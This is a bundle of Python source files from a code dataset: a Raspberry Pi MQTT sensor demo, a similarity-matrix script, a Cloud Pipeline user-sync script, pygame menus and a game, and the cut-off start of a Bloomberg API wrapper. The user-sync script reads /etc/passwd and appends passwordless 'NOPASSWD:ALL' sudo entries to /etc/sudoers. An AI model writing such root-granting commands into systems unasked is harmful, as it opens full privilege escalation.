bus.read_i2c_block_data(TSL_Addr, 0x0C | 0x80, 2)\n\n    # Read data back from 0x0E(14) with command register, 0x80(128), 2 bytes\n    # ch1 LSB, ch1 MSB\n    data1 = bus.read_i2c_block_data(TSL_Addr, 0x0E | 0x80, 2)\n\n    # Convert the data\n    ch0 = data[1] * 256 + data[0]\n    ch1 = data1[1] * 256 + data1[0]\n\n    # post the current Visible and IR lux values\n    print(\"Visible Light: {}\".format(ch0 - ch1))\n    print(\"Infrared Light: {}\".format(ch1))\n    sensorVals[VISIBLE_LIGHT_SENSOR_IDX] = round((ch0 - ch1), 5)\n    sensorVals[INFRARED_LIGHT_SENSOR_IDX] = round(ch1, 5)\n\n# Declare the canonical Raspberry Pi routines.  This requires some explanation.  \n# There are two cases when we want to initiate an action and wait for a \n# response - connecting to the MQTT broker and waiting for sensor data.\n# When we're waiting for a connection, we have to monitor feedback\n# from the code that's trying to make the connection.  We do that by\n# providing two callback routines, on_connect and on_disconnect.  When\n# on_connect is called, we check the return code passed in to see if\n# we're connected.  If so, we proceed.  If not, we print the error and\n# quit.  Handling on_disconnect is similar, execpt that we never\n# proceed from on_disconnect.\n\n# Here's where things get a bit tricky.  The code waits for on_connect\n# or on_disconnect to be called.  However, these routines are only called\n# when we've officially declared that we're in a loop with \n# client.startLoop.  And, when we're\n# waiting for a connection, we want to exit the loop as soon as\n# on_connect or on_disconnect is called.  When waiting for sensor data,\n# we always want to keep going, even after errors.\n\n# We'll have four control variables.\n#   * rc: passed to on_connect and on_disconnect to tell them what happened.\n#   * client.connectedFlag: set when the connection to the MQTT broker\n#     has been made.\n#   * client.keepLooping: set when we're supposed to keep looking\n#     for data\n#   * client.oneAndDone: Set when we're supposed to exit the loop\n#     after the first call to on_connect or on_disconnect.  That's\n#     used when connecting to the broker.\n\n# In addition to all that, on_message is called each time the server\n# sends a command.  For now, we just toggle the display each time\n# a command is received.\n\ndef on_connect(client, data, flags, rc):\n    if rc==0:\n        client.connectedFlag = True\n        print('client connected properly, rc: '+mqtt.connack_string(rc))\n    else:\n        client.connectedFlag = False\n        print('client connection ERROR: '+mqtt.connack_string(rc))\n    if client.oneAndDone:\n        client.keepLooping = False\n\ndef on_disconnect(client, data, rc):\n    if rc==0:\n        print('client disconnected properly, rc: '+mqtt.connack_string(rc))\n    else:\n        print('client disconnection ERROR: '+mqtt.connack_string(rc))\n    if client.oneAndDone:\n        client.keepLooping = False\n\ndef on_publish(client, data, mid):\n    print('published ', str(mid))\n    print()\n    \ndef on_message(client, userdata, msg):\n    data = msg.payload.decode()\n    print(\"Message received: \"+ data)\n\n    command = json.loads(data)\n    # invert the display so we can see that the command arrived.\n    # when we get real commands, this will get fancier.\n    if client.display.displayIsOn==False:\n        # display is off, turn it on\n        client.display.fill(0xFF)\n        client.display.displayIsOn = True\n    else:\n        client.display.fill(0)\n        client.display.displayIsOn = False\n    client.display.show()\n\n    resp = {\n        str(command[\"si\"]): str(command[\"c\"])\n    }\n\n    data = json.dumps(resp)\n\n    r = client.publish(\"device/%s/records\"%(MQTT_DEVKEY), payload=data, qos=0, retain=False)\n\ndef sendStatus(sensorVals):\n    print(\"Sending...\")\n    \n    # gather all the sensor data into sensorVals\n    sendHCPAData(sensorVals)\n    sendMPLData(sensorVals)\n    sendGasData(sensorVals)\n    sendSoilData(sensorVals)\n    sendProximityData(sensorVals)\n    sendTSLData(sensorVals)\n\n    # convert the sensorVals dictionary to a JSON Object\n    data = json.dumps(sensorVals, separators=(',', ':'))\n    \n    # publish that data.\n    mmi = client.publish(\"device/%s/records\"%(MQTT_DEVKEY), payload=data, \n                        qos=0, retain=False)\n    print(\"Result of attempting to publish sensorVals: %s\"%(mqtt.error_string(mmi.rc)))\n    \n# Here's where execution starts.  Get an MQTT client.  We'll use it to\n# send sensor data and receive commands.\n# This is an insecure system.\n# We obtain the devKey and secret strings from your target project on\n# app.gigibits.io. devkey is used as the new mqtt clientID and\n# username.  Secret turns into password. \n  \nclient = mqtt.Client(client_id=MQTT_DEVKEY)\nclient.username_pw_set(username=MQTT_DEVKEY,password=MQTT_PASSWORD)\nclient.on_connect = on_connect\nclient.on_disconnect = on_disconnect\nclient.on_message = on_message\nclient.on_publish = on_publish\n\n# set up the numeric precision\ngetcontext().prec = 5\n\n# This is where we had the call to \"breakpoint\".  That lets us\n# set breakpoints before the fun stuff happens.\n\n# Establish a connection to the broker.  keepLooping tells us\n# whether to continue to look for either a connection or sensor data.\n# connectedFlag tells us when we have a connection to the MQTT broker.\n# oneAndDone tells us whether we're looking for a connection or sensor\n# data.  Looking for a connection and something appears in on_connect\n# or on_disconnect => exit loop.  Looking for sensor data => always\n# look for more.\nclient.keepLooping = True\nclient.connectedFlag = False\nclient.oneAndDone = True\n\n# try to connect to broker by isssuing the connect command,\n# then looping to wait for a reply.\nclient.connect(MQTT_BROKER, MQTT_PORT)\nclient.loop_start()\nwhile client.keepLooping == True:\n    print(\"Waiting to connect to broker %s\"%(MQTT_BROKER))\n    print(\"Waiting to connect to port %s\"%(MQTT_PORT))\n    time.sleep(1)\nclient.loop_stop()\n# are we connected?  If not, something's wrong and a message\n# should have been printed in on_connect or on_disconnect.\nif (client.connectedFlag == False):\n    exit(1)\n\n# we're connected to the mqtt broker!  Subscribe to commands from\n# the server.\nclient.subscribe('server/%s/command'%(MQTT_DEVKEY), 1)\n\n# setup all the sensors and actuators.\n# Get the bus that we'll use to read sensor data\nbus = smbus.SMBus(1)\n\nclient.display = setupDisplay()\nsetupMPL()\nsetupGas()\nsetupSoilData()\nsetupProximity()\nsetupTSL()\n\n# Remember what state the display is in so we can reliably invert it\nclient.display.displayIsOn = False\nclient.keepLooping = True\nclient.oneAndDone = False\n# Loop through all the sensors.\nclient.loop_start()\n\nwhile True:\n    sendStatus(sensorVals)\n    print()\n    # clear sensorVals so we won't get confused next time through\n    # this loop.\n    sensorVals = {}\n\n    time.sleep(10)\n    \nclient.loop_stop()\n\n    \n","sub_path":"examples/RPIDemoApp/RPIDemoApp.py","file_name":"RPIDemoApp.py","file_ext":"py","file_size_in_byte":17656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"270921294","text":"import multiprocessing as mp\nimport numpy as np\nimport time\nimport ctypes\nimport pandas as pd\n\nnCPU = 2\n\n\ndef cos_distance(c1, c2):\n    m = sum(c1 + c2)\n    if m == 0:\n        print(\"sum 0\")\n    c1 = np.divide(c1, m)\n    c2 = np.divide(c2, m)\n\n    u = np.sum(c1 * c2)\n    d = np.sqrt(np.sum(c1 * c1)) * np.sqrt(np.sum(c2 * c2))\n    v = np.divide(u, d)\n    return np.divide(np.arccos(np.clip(v, 0, 1)), np.pi)\n\n\ndef eu_distance(c1, c2):\n    np.divide(np.sqrt(np.sum((c1 - c2) * (c1 - c2))), np.sqrt(2))\n\n\ndef spDistance_Worker(nodes):\n    return [[cos_distance(s1, s2) for s1 in nodes] for s2 in nodes]\n\n# nodes - data, queue - jobs, arrD - shared memory\ndef mpDistance_Worker(nodes, queue, arrD):\n    nP = nodes.shape[0]\n\n    D = np.reshape(np.frombuffer(arrD), (nP, nP))\n\n    while True:\n        job = queue.get()\n        if job == None:\n            break\n\n        start = job[0]\n        stop = job[0] + job[1]\n        if start < nP:\n            D[start:stop, :] = [[cos_distance(s1, s2) for s1 in nodes] for s2 in nodes[start:stop]]\n\n        # print('{}%'.format(stop / float(nP) * 100))\n        queue.task_done()\n    queue.task_done()\n\n\ndef mpCalcDistance(nodes):\n    \"\"\" Multiple processes calculation of the distance function.\n    \"\"\"\n\n    # allocate shared array\n    nP = nodes.shape[0]\n    nQ = nodes.shape[0]\n\n    mng = mp.Manager()\n\n    arrD = mp.RawArray(ctypes.c_double, nP * nQ)\n    cs_d = mng.dict()\n\n    # setup jobs\n    # nCPU = mp.cpu_count()\n    nJobs = nCPU * 36\n\n    q = np.ceil(nP / nJobs)\n    r = nP % nJobs\n\n    jobs = []\n    firstRow = 0\n    for i in range(nJobs):\n        rowsInJob = q\n        if (r > 0):\n            rowsInJob += 1\n            r -= 1\n        jobs.append((int(firstRow), int(rowsInJob)))\n        firstRow += rowsInJob\n\n    queue = mp.JoinableQueue()\n    for job in jobs:\n        queue.put(job)\n    for i in range(nCPU):\n        queue.put(None)\n\n    # run workers\n    workers = []\n    for i in range(nCPU):\n        worker = mp.Process(target=mpDistance_Worker,\n                            args=(nodes, queue, arrD))\n        workers.append(worker)\n        worker.start()\n\n    queue.join()\n\n    # make array from shared memory\n    D = np.reshape(np.frombuffer(arrD), (nP, nQ))\n    return D\n\n\ndef process(feature_matrix, n_cpu=2, dump=False):\n    # start_time = time.time()\n    global nCPU\n    nCPU = n_cpu\n    if n_cpu == 1:\n        mp_d = pd.DataFrame(spDistance_Worker(feature_matrix.as_matrix()),\n                            columns=feature_matrix.index.values,\n                            index=feature_matrix.index.values)\n        # print('similarity process time = {}'.format(time.time() - start_time))\n    else:\n        mp_d = pd.DataFrame(mpCalcDistance(feature_matrix.as_matrix()),\n                            columns=feature_matrix.index.values,\n                            index=feature_matrix.index.values)\n    #print('similarity process time = {}'.format(time.time() - start_time))\n    if dump:\n        mp_d.to_csv('sim_mt.csv')\n    return mp_d\n","sub_path":"similarity_matrix.py","file_name":"similarity_matrix.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"203826559","text":"# Copyright 2017-2022 EPAM Systems, Inc. (https://www.epam.com/)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nimport os\nimport shutil\nimport stat\nimport time\nfrom functools import reduce\n\nfrom pipeline.api import PipelineAPI, APIError\nfrom pipeline.log.logger import LocalLogger, RunLogger, TaskLogger, LevelLogger\nfrom pipeline.utils.account import create_user\nfrom pipeline.utils.path import mkdir\nfrom pipeline.utils.ssh import LocalExecutor, LoggingExecutor\n\n_ROOT_HOME_DIR = '/root'\n_ROOT_SSH_DIR = os.path.join(_ROOT_HOME_DIR, '.ssh')\n_SSH_FILE_PATHS = ['id_rsa', 'id_rsa.pub', 'authorized_keys']\n\n\ndef sync_users():\n    api_url = os.environ['API']\n    run_id = os.environ['RUN_ID']\n    shared_dir = os.getenv('SHARED_ROOT', '/common')\n    root_home_dir = os.getenv('CP_CAP_SYNC_USERS_HOME_DIR', os.path.join(shared_dir, 'home'))\n    uid_seed_default = int(os.getenv('CP_CAP_UID_SEED', '70000'))\n    user_name_case = os.getenv('CP_CAP_USER_NAME_CASE', 'default')\n    user_name_metadata_key = os.getenv('CP_CAP_USER_NAME_METADATA_KEY', 'local_user_name')\n    sync_timeout = int(os.getenv('CP_CAP_SYNC_USERS_TIMEOUT_SECONDS', '60'))\n    logging_directory = os.getenv('CP_CAP_SYNC_USERS_LOG_DIR', os.getenv('LOG_DIR', '/var/log'))\n    logging_level = os.getenv('CP_CAP_SYNC_USERS_LOGGING_LEVEL', 'ERROR')\n    logging_level_local = os.getenv('CP_CAP_SYNC_USERS_LOGGING_LEVEL_LOCAL', 'DEBUG')\n    logging_format = os.getenv('CP_CAP_SYNC_USERS_LOGGING_FORMAT', '%(asctime)s:%(levelname)s: %(message)s')\n    owner_user_name = os.getenv('OWNER', 'root')\n    sudo_enabled = os.getenv('CP_CAP_SUDO_ENABLE', 'true').lower().strip() in ['true', 'yes']\n    sudo_user_names = os.getenv('CP_CAP_SUDO_USERS', 'PIPE_ADMIN').split(',')\n    sudo_group_names = os.getenv('CP_CAP_SUDO_GROUPS', 'ROLE_ADMIN').split(',')\n\n    logging.basicConfig(level=logging_level_local, format=logging_format,\n                        filename=os.path.join(logging_directory, 'sync_users.log'))\n\n    api = PipelineAPI(api_url=api_url, log_dir=logging_directory)\n    logger = RunLogger(api=api, run_id=run_id)\n    logger = TaskLogger(task='UsersSynchronization', inner=logger)\n    logger = LevelLogger(level=logging_level, inner=logger)\n    logger = LocalLogger(inner=logger)\n\n    logger.info('Initiating users synchronisation...')\n\n    executor = LocalExecutor()\n    executor = LoggingExecutor(logger=logger, inner=executor)\n\n    while True:\n        try:\n            time.sleep(sync_timeout)\n            logger.info('Starting users synchronization...')\n\n            logger.debug('Loading preferences...')\n            try:\n                uid_seed = int(api.get_preference_value('launch.uid.seed') or uid_seed_default)\n            except APIError:\n                uid_seed = uid_seed_default\n            logger.debug('Loaded uid seed: {}.', uid_seed)\n\n            logger.debug('Loading local users...')\n            local_user_names = set(_get_local_user_names())\n            logger.info('Loaded {} local users.'.format(len(local_user_names)))\n            logger.debug('Loaded local users: {}'.format(local_user_names))\n\n            logger.debug('Loading shared users and groups...')\n            run_user_names, run_group_names = _get_run_shared_users_and_groups_names(api, run_id)\n            shared_user_names = set()\n            shared_user_names.update(run_user_names)\n            shared_user_names.update(_get_group_user_names(api, run_group_names))\n            if owner_user_name in shared_user_names:\n                shared_user_names.remove(owner_user_name)\n            logger.info('Loaded {} shared users.'.format(len(shared_user_names)))\n            logger.debug('Loaded shared users: {}'.format(shared_user_names))\n\n            logger.debug('Loading owner users and groups...')\n            owner_user_names = set()\n            owner_user_names.update(sudo_user_names)\n            owner_user_names.update(_get_group_user_names(api, sudo_group_names))\n            logger.info('Loaded {} owner users.'.format(len(owner_user_names)))\n\n            logger.debug('Loading user details...')\n            all_users = api.load_users()\n            logger.debug('Loaded {} user details.'.format(len(all_users)))\n\n            logger.debug('Resolving shared user details...')\n            shared_users_dict = {}\n            for user in all_users:\n                user_id = user.get('id')\n                user_name = user.get('userName')\n                if not user_id or not user_name:\n                    continue\n                if user_name not in shared_user_names:\n                    continue\n                shared_users_dict[user_id] = user\n            logger.debug('Resolved {} shared user details.'.format(len(shared_users_dict)))\n\n            logger.debug('Loading shared users metadata...')\n            try:\n                shared_users_metadata = api.load_all_metadata_efficiently(shared_users_dict.keys(), 'PIPELINE_USER')\n            except APIError:\n                logger.warning('Shared users metadata loading has failed.', trace=True)\n                shared_users_metadata = []\n            logger.debug('Loaded {} shared users metadata.'.format(len(shared_users_metadata)))\n\n            logger.debug('Merging shared users details and metadata...')\n            for metadata_entry in shared_users_metadata:\n                user_id = metadata_entry.get('entity', {}).get('entityId', 0)\n                user_metadata = metadata_entry.get('data', {})\n                user = shared_users_dict.get(user_id, {})\n                user['userLocalName'] = user_metadata.get(user_name_metadata_key, {}).get('value')\n            logger.debug('Merged {} shared users details and metadata.'.format(len(shared_users_metadata)))\n\n            logger.debug('Checking {} shared users existence...'.format(len(shared_users_dict)))\n            for user in shared_users_dict.values():\n                user_id = user['id']\n                user_login_name = user['userName']\n                user_local_name = user.get('userLocalName')\n                user_name = user_local_name or _resolve_user_name(user_login_name, user_name_case)\n                if user_name in local_user_names:\n                    continue\n                try:\n                    logger.info('Creating {} ({}) user...'.format(user_name, user_login_name))\n                    user_uid, user_gid, user_home_dir = _create_account(user_name, user_id, uid_seed, root_home_dir,\n                                                                        executor, logger)\n                    _configure_ssh_keys(user_name, user_uid, user_gid, user_home_dir, executor, logger)\n                    if sudo_enabled and user_login_name in owner_user_names:\n                        _configure_sudoers(user_name, executor, logger)\n                except KeyboardInterrupt:\n                    logger.warning('Interrupted.')\n                    raise\n                except Exception:\n                    logger.warning('User {} ({}) creation has failed.'.format(user_name, user_login_name), trace=True)\n            logger.info('Finishing users synchronization...')\n        except KeyboardInterrupt:\n            logger.warning('Interrupted.')\n            break\n        except Exception:\n            logger.warning('Users synchronization has failed.', trace=True)\n        except BaseException:\n            logger.error('Users synchronization has failed completely.', trace=True)\n            raise\n\n\ndef _get_run_shared_users_and_groups_names(api, run_id):\n    run_sids = api.load_run_efficiently(run_id).get('runSids', [])\n\n    def _split_by_principality(acc, sid):\n        return (acc[0] + [sid['name']], acc[1]) if sid['isPrincipal'] else (acc[0], acc[1] + [sid['name']])\n\n    return reduce(_split_by_principality, run_sids, ([], []))\n\n\ndef _get_group_user_names(api, run_groups):\n    groups = (api.load_roles() or []) if run_groups else []\n    for group in groups:\n        group_id = group.get('id')\n        group_name = group.get('name')\n        if not group_id or group_name not in run_groups:\n            continue\n        group_users = (api.load_role(group_id) or {}).get('users', [])\n        for group_user in group_users:\n            yield group_user['userName']\n\n\ndef _get_local_user_names():\n    with open('/etc/passwd', 'r') as f:\n        lines = f.readlines()\n    for line in lines:\n        stripped_line = line.strip()\n        if stripped_line:\n            yield stripped_line.split(':')[0]\n\n\ndef _resolve_user_name(user_name, user_name_case):\n    if user_name_case == 'lower':\n        return user_name.lower()\n    elif user_name_case == 'upper':\n        return user_name.upper()\n    else:\n        return user_name\n\n\ndef _create_account(user, user_id, uid_seed, root_home_dir, executor, logger):\n    logger.debug('Creating {} user account...'.format(user))\n    user_uid, user_gid = _resolve_uid_gid(user_id, uid_seed)\n    user_home_dir = os.path.join(root_home_dir, user)\n    mkdir(os.path.dirname(user_home_dir))\n    create_user(user, user, uid=user_uid, gid=user_gid, home_dir=user_home_dir,\n                skip_existing=True, executor=executor)\n    logger.info('User {} account has been created.'.format(user))\n    return user_uid, user_gid, user_home_dir\n\n\ndef _resolve_uid_gid(user_id, uid_seed):\n    user_uid = uid_seed + user_id\n    user_gid = user_uid\n    return user_uid, user_gid\n\n\ndef _set_permissions(target_path, user_uid, user_gid):\n    os.chown(target_path, user_uid, user_gid)\n    if os.path.isdir(target_path):\n        os.chmod(target_path, stat.S_IRWXU)\n    else:\n        os.chmod(target_path, stat.S_IRUSR | stat.S_IWUSR)\n\n\ndef _configure_ssh_keys(user_name, user_uid, user_gid, user_home_dir, executor, logger):\n    logger.debug('Configuring {} user SSH keys...'.format(user_name))\n    user_ssh_dir = os.path.join(user_home_dir, '.ssh')\n    user_ssh_private_key_path = os.path.join(user_ssh_dir, 'id_rsa')\n    user_ssh_public_key_path = os.path.join(user_ssh_dir, 'id_rsa.pub')\n    user_ssh_authorized_keys_path = os.path.join(user_ssh_dir, 'authorized_keys')\n    if os.path.exists(user_ssh_private_key_path):\n        logger.debug('User {} SSH keys are already configured.'.format(user_name))\n        return\n    mkdir(user_ssh_dir)\n    executor.execute('ssh-keygen -t rsa -f {ssh_private_key_path} -N \"\" -q'\n                     .format(ssh_private_key_path=user_ssh_private_key_path))\n    if not os.path.exists(user_ssh_authorized_keys_path):\n        shutil.copy(user_ssh_public_key_path, user_ssh_authorized_keys_path)\n    _set_permissions(user_ssh_dir, user_uid, user_gid)\n    for ssh_file_path in _SSH_FILE_PATHS:\n        ssh_file_target_path = os.path.join(user_ssh_dir, ssh_file_path)\n        if os.path.exists(ssh_file_target_path):\n            _set_permissions(ssh_file_target_path, user_uid, user_gid)\n    logger.info('User {} SSH keys have been configured.'.format(user_name))\n\n\ndef _configure_sudoers(user_name, executor, logger):\n    logger.debug('Configuring {} user sudo access...'.format(user_name))\n    executor.execute('echo \"{user_name} ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers'.format(user_name=user_name))\n    logger.info('User {} sudo access has been configured.'.format(user_name))\n\n\nif __name__ == '__main__':\n    sync_users()\n","sub_path":"workflows/pipe-common/scripts/sync_users.py","file_name":"sync_users.py","file_ext":"py","file_size_in_byte":11709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"517027436","text":"import pygame\nfrom hud import Hud\n\nclass Menu():\n    def __init__(self):\n        self.menu_background = pygame.image.load('backgrounds/menu background.png').convert_alpha()\n        self.menu_running = True\n        self.START_KEY, self.BACK_KEY, self.UP_KEY, self.DOWN_KEY = False, False, False, False\n        self.state = 'MAIN'\n\n\n    def check_events(self):\n        \"\"\" Check for key presses and set appropriate flags\"\"\"\n        for event in pygame.event.get():\n            if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_ESCAPE:\n                    self.menu_running = False\n                if event.key == pygame.K_RETURN:\n                    self.START_KEY = True\n                if event.key == pygame.K_BACKSPACE:\n                    self.BACK_KEY = True    \n                if event.key == pygame.K_DOWN:\n                    self.DOWN_KEY = True\n                if event.key == pygame.K_UP:\n                    self.UP_KEY = True\n            if event.type == pygame.KEYUP:    \n                if event.key == pygame.K_DOWN:\n                    self.DOWN_KEY = False\n                if event.key == pygame.K_UP:\n                    self.UP_KEY = False\n    def draw_text(self, display, text, size, x, y , mode):\n        \"\"\"Create text surface and blit onto another display surface.\n        There is an option to scpecifiy the location by center or topleft corner\n        \"\"\"\n        font = pygame.font.Font(self.font_name, size)\n        text_surface = font.render(text, True, (0,0,0))\n        text_rect = text_surface.get_rect()\n        if mode == \"left\":\n            text_rect.topleft = (x,y)\n        elif mode == \"center\":\n            text_rect.center = (x,y)\n        display.blit(text_surface, text_rect)\n\n    def draw_cursor(self, display):\n        self.draw_text(display, '>', 10, self.pos_dict[self.current_key][0] - 10, self.pos_dict[self.current_key][1], \"left\")\n        print(self.i)\n\n    def reset_keys(self):\n        self.UP_KEY, self.DOWN_KEY = False, False  \n\nclass MainMenu(Menu):\n    def __init__(self):\n        Menu.__init__(self)\n        self.font_name = \"Pokemon Classic.TTF\"\n        self.icons = ['EAT', 'PLAY', 'BATHROOM', 'WARDROBE', 'TOWN', 'CHOOSE POKE', 'MINI GAMES']\n        self.eatx, self.eaty = 660, 10\n        self.playx, self.playy = 660, 30\n        self.bathroomx, self.bathroomy = 660, 50\n        self.wardrobex, self.wardrobey = 660, 70\n        self.townx, self.towny = 660, 90\n        self.choosepokex, self.choosepokey = 660, 110\n        self.minix, self.miniy = 660, 130\n        #self.state = 'EAT'\n        self.current_key = self.icons[0]\n        self.i = 0\n\n        self.pos_dict = {'EAT': (self.eatx, self.eaty),\n            'PLAY': (self.playx, self.playy),\n            'BATHROOM':(self.bathroomx, self.bathroomy),\n            'WARDROBE':(self.wardrobex, self.wardrobey),\n            'TOWN':(self.townx, self.towny),\n            'CHOOSE POKE':(self.choosepokex, self.choosepokey),\n            'MINI GAMES':(self.minix, self.miniy)}\n\n    def draw_text(self, display, text, size, x, y , mode):\n        \"\"\"Create text surface and blit onto another display surface.\n        There is an option to scpecifiy the location by center or topleft corner\n        \"\"\"\n        font = pygame.font.Font(self.font_name, size)\n        text_surface = font.render(text, True, (0,0,0))\n        text_rect = text_surface.get_rect()\n        if mode == \"left\":\n            text_rect.topleft = (x,y)\n        elif mode == \"center\":\n            text_rect.center = (x,y)\n        display.blit(text_surface, text_rect)\n\n    def display_menu(self, display):\n        \"\"\"Display main menu\"\"\"\n        display.blit(self.menu_background, (650,0))\n        for icon in self.icons:\n            self.draw_text(display, icon, 10, *self.pos_dict[icon], \"left\")\n        self.move_cursor(display)\n        self.draw_cursor(display)\n    def move_cursor(self, display):\n        \n        if self.DOWN_KEY:\n            self.i = self.i + 1\n            if self.i > 6:\n                self.i = 0\n            self.current_key = self.icons[self.i]\n        self.DOWN_KEY = False\n        if self.UP_KEY:\n            self.i = self.i-1\n            if self.i < 0:\n                self.i = 6\n            self.current_key = self.icons[self.i]\n        if self.START_KEY == True:\n            self.state = self.icons[self.i]\n\n\nclass EatMenu(Menu):\n    def __init__(self):\n        Menu.__init__(self)\n        self.font_name = \"Pokemon Classic.TTF\"\n        self.icons = ['SNACK', 'MEAL']\n        #self.state = 'SNACK'\n        self.current_key = self.icons[0]\n        self.i = 0\n        self.snackx, self.snacky = 660, 10\n        self.mealx, self.mealy = 660, 30\n\n        self.pos_dict = {'SNACK': (self.snackx, self.mealy),\n            'MEAL': (self.mealx, self.mealy)}\n\n    def draw_text(self, display, text, size, x, y , mode):\n        \"\"\"Create text surface and blit onto another display surface.\n        There is an option to scpecifiy the location by center or topleft corner\n        \"\"\"\n        font = pygame.font.Font(self.font_name, size)\n        text_surface = font.render(text, True, (0,0,0))\n        text_rect = text_surface.get_rect()\n        if mode == \"left\":\n            text_rect.topleft = (x,y)\n        elif mode == \"center\":\n            text_rect.center = (x,y)\n        display.blit(text_surface, text_rect)\n\n    def display_menu(self, display):\n        \"\"\"Display main menu\"\"\"\n        display.blit(self.menu_background, (650,0))\n        for icon in self.icons:\n            self.draw_text(display, icon, 10, *self.pos_dict[icon], \"left\")\n        self.move_cursor(display)\n        self.draw_cursor(display)\n    def move_cursor(self, display):\n        \n        if self.DOWN_KEY:\n            self.i = self.i + 1\n            if self.i > 6:\n                self.i = 0\n            self.current_key = self.icons[self.i]\n        self.DOWN_KEY = False\n        if self.UP_KEY:\n            self.i = self.i-1\n            if self.i < 0:\n                self.i = 6\n            self.current_key = self.icons[self.i]\n\n\n\n\n\n\n           ","sub_path":"new_menu_testing/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":6040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"401176724","text":"import pygame\r\n\r\npygame.init()\r\n\r\ndisplay_width = 800\r\ndisplay_height = 600\r\n\r\nblack = (0, 0, 0)\r\nwhite = (255, 255, 255)\r\nred = (255, 0, 0)\r\n\r\nboot_width = 73\r\n\r\ngameDisplay = pygame.display.set_mode((display_width, display_height))\r\npygame.display.set_caption('bana')\r\nclock = pygame.time.Clock()\r\n\r\nboot = pygame.image.load('bootje.png')\r\n\r\n\r\ndef boot1(x, y):\r\n    gameDisplay.blit(boot,(x, y))\r\n\r\n\r\ndef game_loop():\r\n    x = (display_width * 0.45)\r\n    y = (display_height * 0.8)\r\n\r\n    x_change = 0\r\n    y_change = 0\r\n\r\n    gameExit = False\r\n\r\n    while not gameExit:\r\n\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                gameExit = True\r\n\r\n            if event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_LEFT:\r\n                    x_change = -20\r\n                if event.key == pygame.K_RIGHT:\r\n                    x_change = 20\r\n                if event.key == pygame.K_UP:\r\n                    y_change = -20\r\n                if event.key == pygame.K_DOWN:\r\n                    y_change = 20\r\n\r\n            if event.type == pygame.KEYUP:\r\n                if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n                    x_change = 0\r\n                    y_change = 0\r\n\r\n        x += x_change\r\n        y += y_change\r\n\r\n        gameDisplay.fill(white)\r\n        boot1(x, y)\r\n\r\n        if display_width > 0 or display_width < 700 or display_height > 0 or display_height < 500:\r\n            x_change = 0\r\n            y_change = 0\r\n\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                gameExit = False\r\n\r\n        pygame.display.update()\r\n        clock.tick(60)\r\n\r\n\r\ngame_loop()\r\npygame.quit()\r\nquit()","sub_path":"INF1L-PRJ-2/bana.py","file_name":"bana.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"484322490","text":"from collections import OrderedDict\nfrom datetime import datetime\n\nimport blpapi\nfrom blpapi import DataType\nfrom blpapi import NotFoundException, UnknownErrorException\n\n\nSECURITY_DATA = blpapi.Name('securityData')\nSECURITY = blpapi.Name('security')\nBAR_DATA = blpapi.Name('barData')\nBAR_TICK_DATA = blpapi.Name('barTickData')\nFIELD_DATA = blpapi.Name('fieldData')\nFIELD_EXCEPTIONS = blpapi.Name('fieldExceptions')\nSECURITY_ERROR = blpapi.Name('securityError')\nRESPONSE_ERROR = blpapi.Name('responseError')\nFIELD_ID = blpapi.Name('fieldId')\nERROR_INFO = blpapi.Name('errorInfo')\nCATEGORY = blpapi.Name('category')\n\nBBG_SEQUENCES = [DataType.SEQUENCE, DataType.BYTEARRAY, DataType.CHOICE]\n\n\nclass RequestType(object):\n    HISTORICAL_DATA = 'HistoricalDataRequest'\n    REFERENCE_DATA = 'ReferenceDataRequest'\n    INTRADAY_BAR_DATA = 'IntradayBarRequest'\n\n\nclass ServiceType(object):\n    DEFAULT_SVC = '//blp/refdata'\n    API_FIELDS = '//blp/apiflds'\n    TECHNICAL_ANALYSIS = '//blp/tasvc'\n    API_AUTHORISATION = '//blp/apiauth'\n\n\nclass IntradayBarRequestEventType(object):\n    TRADE = 'TRADE'\n    BID = 'BID'\n    ASK = 'ASK'\n    BEST_BID = 'BEST_BID'\n    BEST_ASK = 'BEST_ASK'\n\n\nclass Periodicity(object):\n    DAILY = 'DAILY'\n    WEEKLY = 'WEEKLY'\n    MONTHLY = 'MONTHLY'\n    QUARTERLY = 'QUARTERLY'\n    SEMI_ANNUAL = 'SEMI-ANNUAL'\n    YEARLY = 'YEARLY'\n\n\nclass NonTradingDayFillOption(object):\n    NON_TRADING_WEEKDAYS = 'NON_TRADING_WEEKDAYS'\n    ALL_CALENDAR_DAYS = 'ALL_CALENDAR_DAYS'\n    ACTIVE_DAYS_ONLY = 'ACTIVE_DAYS_ONLY'\n\n\nclass NonTradingDayFillMethod(object):\n    PREVIOUS_VALUE = 'PREVIOUS_VALUE'\n    NIL_VALUE = 'NIL_VALUE'\n\n\nclass ConnectionFailed(Exception):\n    def __init__(self, message):\n        super(ConnectionFailed, self).__init__(message)\n\n\nclass Session(object):\n\n    DEFAULT_HOST = 'localhost'\n    DEFAULT_PORT = 8194\n\n    def __init__(self, host=None, port=None):\n        \"\"\"\n        :param host: e.g. localhost\n        :type host: str\n        :param port: e.g. 8194\n        :type port: int\n        \"\"\"\n        self.host = self.DEFAULT_HOST or host\n        self.port = self.DEFAULT_PORT or port\n        self.session_options = blpapi.SessionOptions()\n        self.session_options.setServerHost(self.host)\n        self.session_options.setServerPort(self.port)\n        self.session = blpapi.Session(self.session_options)\n        return\n\n    def start(self):\n        if not self.session.start():\n            raise 